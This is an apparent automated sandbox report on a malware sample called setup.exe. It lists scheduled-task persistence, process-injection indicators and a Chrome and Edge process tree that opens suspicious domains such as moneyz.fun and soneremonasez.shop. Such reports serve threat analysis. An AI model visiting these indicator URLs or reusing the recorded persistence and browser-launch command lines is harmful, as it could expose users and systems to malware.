3294840d0809971c4fc0ee6b207430d2e03934108521150108e85532de7149d92817504de6be4dd175acd0cafb41b843a5aad3c305444f2c369be2fae245b823536c066f67557f46b54c3f6e285a7926d2a4a86297d21ee2ed4a8bbc1bfd474a0ddf67667eb25b41d03be4f43bf40463e9efc2540051a08a2ac9ce78ccd5ea870418b3ceaf4988aff39299b6b3e6610fd28500e7501ae41b959d19a1b99cb19bb1001eefd00f4f426cc90abcee43fa3a71a5c84d26a535fd895dbc85621d32d2a02b54ed9a57c1dbfa10cf19b78b4a1b8f01b6279553e8b6896d5bbc68d423e88b51a256f9f0a680a0d61eb3bc0f0f537529aaea1377e4de8c8121ad07104711ad873d07d175bccff3667e	setup.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 12 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
3868	schtasks.exe
6664	schtasks.exe
1684	schtasks.exe
3440	schtasks.exe
4704	schtasks.exe
6684	schtasks.exe
7300	schtasks.exe
6400	schtasks.exe
2408	schtasks.exe
3836	schtasks.exe
4112	schtasks.exe
6884	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

chrome.exechrome.exesetup_nCwk1JFfIL.tmplamewav32_64.exepowershell.exepowershell.exepowershell.exepowershell.exeZRHdnyKeWQxYPNw8.exepowershell.exetaskmgr.exepowershell.exepowershell.exe

pid	process
2016	chrome.exe
2016	chrome.exe
5084	chrome.exe
5084	chrome.exe
5084	chrome.exe
7036	setup_nCwk1JFfIL.tmp
7036	setup_nCwk1JFfIL.tmp
6204	lamewav32_64.exe
6204	lamewav32_64.exe
6204	lamewav32_64.exe
6204	lamewav32_64.exe
6360	powershell.exe
6360	powershell.exe
6360	powershell.exe
7596	powershell.exe
7596	powershell.exe
7664	powershell.exe
7664	powershell.exe
7596	powershell.exe
7664	powershell.exe
8144	powershell.exe
8144	powershell.exe
8144	powershell.exe
7400	ZRHdnyKeWQxYPNw8.exe
7400	ZRHdnyKeWQxYPNw8.exe
7400	ZRHdnyKeWQxYPNw8.exe
7400	ZRHdnyKeWQxYPNw8.exe
7400	ZRHdnyKeWQxYPNw8.exe
6204	lamewav32_64.exe
6204	lamewav32_64.exe
100	powershell.exe
100	powershell.exe
100	powershell.exe
6204	lamewav32_64.exe
6204	lamewav32_64.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
7604	powershell.exe
7604	powershell.exe
6696	taskmgr.exe
7604	powershell.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
7840	powershell.exe
7840	powershell.exe
7840	powershell.exe
6696	taskmgr.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

Hider.exe

pid process

7608 Hider.exe

pid	process
7608	Hider.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 27 IoCs

Processes:

chrome.exe

pid	process
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

chrome.exe

description	pid	process
Token: SeShutdownPrivilege	2016	chrome.exe
Token: SeCreatePagefilePrivilege	2016	chrome.exe
Token: SeShutdownPrivilege	2016	chrome.exe
Token: SeCreatePagefilePrivilege	2016	chrome.exe
Token: SeShutdownPrivilege	2016	chrome.exe
Token: SeCreatePagefilePrivilege	2016	chrome.exe
Token: SeShutdownPrivilege	2016	chrome.exe
Token: SeCreatePagefilePrivilege	2016	chrome.exe
Token: SeShutdownPrivilege	2016	chrome.exe
Token: SeCreatePagefilePrivilege	2016	chrome.exe
Token: SeShutdownPrivilege	2016	chrome.exe
Token: SeCreatePagefilePrivilege	2016	chrome.exe
Token: SeShutdownPrivilege	2016	chrome.exe
Token: SeCreatePagefilePrivilege	2016	chrome.exe
Token: SeShutdownPrivilege	2016	chrome.exe
Token: SeCreatePagefilePrivilege	2016	chrome.exe
Token: SeShutdownPrivilege	2016	chrome.exe
Token: SeCreatePagefilePrivilege	2016	chrome.exe
Token: SeShutdownPrivilege	2016	chrome.exe
Token: SeCreatePagefilePrivilege	2016	chrome.exe
Token: SeShutdownPrivilege	2016	chrome.exe
Token: SeCreatePagefilePrivilege	2016	chrome.exe
Token: SeShutdownPrivilege	2016	chrome.exe
Token: SeCreatePagefilePrivilege	2016	chrome.exe
Token: SeShutdownPrivilege	2016	chrome.exe
Token: SeCreatePagefilePrivilege	2016	chrome.exe
Token: SeShutdownPrivilege	2016	chrome.exe
Token: SeCreatePagefilePrivilege	2016	chrome.exe
Token: SeShutdownPrivilege	2016	chrome.exe
Token: SeCreatePagefilePrivilege	2016	chrome.exe
Token: SeShutdownPrivilege	2016	chrome.exe
Token: SeCreatePagefilePrivilege	2016	chrome.exe
Token: SeShutdownPrivilege	2016	chrome.exe
Token: SeCreatePagefilePrivilege	2016	chrome.exe
Token: SeShutdownPrivilege	2016	chrome.exe
Token: SeCreatePagefilePrivilege	2016	chrome.exe
Token: SeShutdownPrivilege	2016	chrome.exe
Token: SeCreatePagefilePrivilege	2016	chrome.exe
Token: SeShutdownPrivilege	2016	chrome.exe
Token: SeCreatePagefilePrivilege	2016	chrome.exe
Token: SeShutdownPrivilege	2016	chrome.exe
Token: SeCreatePagefilePrivilege	2016	chrome.exe
Token: SeShutdownPrivilege	2016	chrome.exe
Token: SeCreatePagefilePrivilege	2016	chrome.exe
Token: SeShutdownPrivilege	2016	chrome.exe
Token: SeCreatePagefilePrivilege	2016	chrome.exe
Token: SeShutdownPrivilege	2016	chrome.exe
Token: SeCreatePagefilePrivilege	2016	chrome.exe
Token: SeShutdownPrivilege	2016	chrome.exe
Token: SeCreatePagefilePrivilege	2016	chrome.exe
Token: SeShutdownPrivilege	2016	chrome.exe
Token: SeCreatePagefilePrivilege	2016	chrome.exe
Token: SeShutdownPrivilege	2016	chrome.exe
Token: SeCreatePagefilePrivilege	2016	chrome.exe
Token: SeShutdownPrivilege	2016	chrome.exe
Token: SeCreatePagefilePrivilege	2016	chrome.exe
Token: SeShutdownPrivilege	2016	chrome.exe
Token: SeCreatePagefilePrivilege	2016	chrome.exe
Token: SeShutdownPrivilege	2016	chrome.exe
Token: SeCreatePagefilePrivilege	2016	chrome.exe
Token: SeShutdownPrivilege	2016	chrome.exe
Token: SeCreatePagefilePrivilege	2016	chrome.exe
Token: SeShutdownPrivilege	2016	chrome.exe
Token: SeCreatePagefilePrivilege	2016	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

chrome.exesetup_nCwk1JFfIL.tmp2TXuAZC7XG3JMk46ppaM.tmptaskmgr.exe

pid	process
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
7036	setup_nCwk1JFfIL.tmp
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
6124	2TXuAZC7XG3JMk46ppaM.tmp
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

Processes:

chrome.exetaskmgr.exe

pid	process
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe
6696	taskmgr.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

chrome.exe

description	pid	process	target process
PID 2016 wrote to memory of 788	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 788	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 1664	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 1664	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 1664	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 1664	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 1664	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 1664	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 1664	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 1664	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 1664	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 1664	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 1664	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 1664	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 1664	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 1664	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 1664	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 1664	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 1664	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 1664	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 1664	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 1664	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 1664	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 1664	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 1664	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 1664	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 1664	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 1664	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 1664	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 1664	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 1664	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 1664	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 1664	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 4036	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 4036	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 4200	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 4200	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 4200	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 4200	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 4200	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 4200	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 4200	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 4200	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 4200	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 4200	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 4200	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 4200	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 4200	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 4200	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 4200	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 4200	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 4200	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 4200	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 4200	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 4200	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 4200	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 4200	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 4200	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 4200	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 4200	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 4200	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 4200	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 4200	2016	chrome.exe	chrome.exe
PID 2016 wrote to memory of 4200	2016	chrome.exe	chrome.exe

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://moneyz.fun/QRNhDm
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2016

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffff2e1ab58,0x7ffff2e1ab68,0x7ffff2e1ab78
2⤵
PID:788

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1680 --field-trial-handle=1896,i,2969497739500277180,7312153162221974392,131072 /prefetch:2
2⤵
PID:1664

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2160 --field-trial-handle=1896,i,2969497739500277180,7312153162221974392,131072 /prefetch:8
2⤵
PID:4036

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2204 --field-trial-handle=1896,i,2969497739500277180,7312153162221974392,131072 /prefetch:8
2⤵
PID:4200

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3032 --field-trial-handle=1896,i,2969497739500277180,7312153162221974392,131072 /prefetch:1
2⤵
PID:4484

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3052 --field-trial-handle=1896,i,2969497739500277180,7312153162221974392,131072 /prefetch:1
2⤵
PID:5108

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4380 --field-trial-handle=1896,i,2969497739500277180,7312153162221974392,131072 /prefetch:8
2⤵
PID:4788

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4400 --field-trial-handle=1896,i,2969497739500277180,7312153162221974392,131072 /prefetch:8
2⤵
PID:3392

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --mojo-platform-channel-handle=3452 --field-trial-handle=1896,i,2969497739500277180,7312153162221974392,131072 /prefetch:1
2⤵
PID:5268

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --mojo-platform-channel-handle=4936 --field-trial-handle=1896,i,2969497739500277180,7312153162221974392,131072 /prefetch:1
2⤵
PID:5316

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --mojo-platform-channel-handle=3904 --field-trial-handle=1896,i,2969497739500277180,7312153162221974392,131072 /prefetch:1
2⤵
PID:5708

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --mojo-platform-channel-handle=4400 --field-trial-handle=1896,i,2969497739500277180,7312153162221974392,131072 /prefetch:1
2⤵
PID:5972

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --mojo-platform-channel-handle=4736 --field-trial-handle=1896,i,2969497739500277180,7312153162221974392,131072 /prefetch:1
2⤵
PID:5508

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --mojo-platform-channel-handle=4544 --field-trial-handle=1896,i,2969497739500277180,7312153162221974392,131072 /prefetch:1
2⤵
PID:1944

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --mojo-platform-channel-handle=4968 --field-trial-handle=1896,i,2969497739500277180,7312153162221974392,131072 /prefetch:1
2⤵
PID:5872

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5052 --field-trial-handle=1896,i,2969497739500277180,7312153162221974392,131072 /prefetch:8
2⤵
PID:896

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --mojo-platform-channel-handle=4952 --field-trial-handle=1896,i,2969497739500277180,7312153162221974392,131072 /prefetch:1
2⤵
PID:4720

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --mojo-platform-channel-handle=5140 --field-trial-handle=1896,i,2969497739500277180,7312153162221974392,131072 /prefetch:1
2⤵
PID:5128

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --mojo-platform-channel-handle=5580 --field-trial-handle=1896,i,2969497739500277180,7312153162221974392,131072 /prefetch:1
2⤵
PID:5940

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --mojo-platform-channel-handle=5540 --field-trial-handle=1896,i,2969497739500277180,7312153162221974392,131072 /prefetch:1
2⤵
PID:3004

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --mojo-platform-channel-handle=1876 --field-trial-handle=1896,i,2969497739500277180,7312153162221974392,131072 /prefetch:1
2⤵
PID:5360

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --mojo-platform-channel-handle=5628 --field-trial-handle=1896,i,2969497739500277180,7312153162221974392,131072 /prefetch:1
2⤵
PID:4324

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --mojo-platform-channel-handle=1540 --field-trial-handle=1896,i,2969497739500277180,7312153162221974392,131072 /prefetch:1
2⤵
PID:980

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --mojo-platform-channel-handle=5496 --field-trial-handle=1896,i,2969497739500277180,7312153162221974392,131072 /prefetch:1
2⤵
PID:1040

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --mojo-platform-channel-handle=5792 --field-trial-handle=1896,i,2969497739500277180,7312153162221974392,131072 /prefetch:1
2⤵
PID:3288

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --mojo-platform-channel-handle=6104 --field-trial-handle=1896,i,2969497739500277180,7312153162221974392,131072 /prefetch:1
2⤵
PID:5960

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --mojo-platform-channel-handle=5916 --field-trial-handle=1896,i,2969497739500277180,7312153162221974392,131072 /prefetch:1
2⤵
PID:60

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --mojo-platform-channel-handle=6520 --field-trial-handle=1896,i,2969497739500277180,7312153162221974392,131072 /prefetch:1
2⤵
PID:4256

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --mojo-platform-channel-handle=6060 --field-trial-handle=1896,i,2969497739500277180,7312153162221974392,131072 /prefetch:1
2⤵
PID:6072

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --mojo-platform-channel-handle=6708 --field-trial-handle=1896,i,2969497739500277180,7312153162221974392,131072 /prefetch:1
2⤵
PID:6140

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --mojo-platform-channel-handle=6312 --field-trial-handle=1896,i,2969497739500277180,7312153162221974392,131072 /prefetch:1
2⤵
PID:2088

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --mojo-platform-channel-handle=5588 --field-trial-handle=1896,i,2969497739500277180,7312153162221974392,131072 /prefetch:1
2⤵
PID:2672

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6288 --field-trial-handle=1896,i,2969497739500277180,7312153162221974392,131072 /prefetch:8
2⤵
PID:2736

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument microsoft-edge:https://soneremonasez.shop/42739804054b26c853728de560c8af43eyqqaT7xt1YM86PZPordmlLro0l22pNOvphahqGyPA
2⤵
PID:2312

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=6384 --field-trial-handle=1896,i,2969497739500277180,7312153162221974392,131072 /prefetch:2
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:5084

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --mojo-platform-channel-handle=7088 --field-trial-handle=1896,i,2969497739500277180,7312153162221974392,131072 /prefetch:1
2⤵
PID:6420

C:\Program Files\Google\Chrome\Application\chrome.exe
